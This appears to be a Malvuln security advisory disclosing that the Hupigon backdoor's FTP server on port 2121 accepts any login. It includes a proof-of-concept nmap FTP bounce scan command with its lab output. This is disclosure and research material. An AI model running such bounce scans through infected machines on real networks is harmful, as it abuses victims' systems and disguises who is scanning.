Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2a366cea300b84b4e6f8204a8c229266_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aejq
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 2121, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 2a366cea300b84b4e6f8204a8c229266
Vuln ID: MVID-2021-0330
Disclosure: 08/30/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.18.129:2121 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-30 13:09 Pacific Daylight Time
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds

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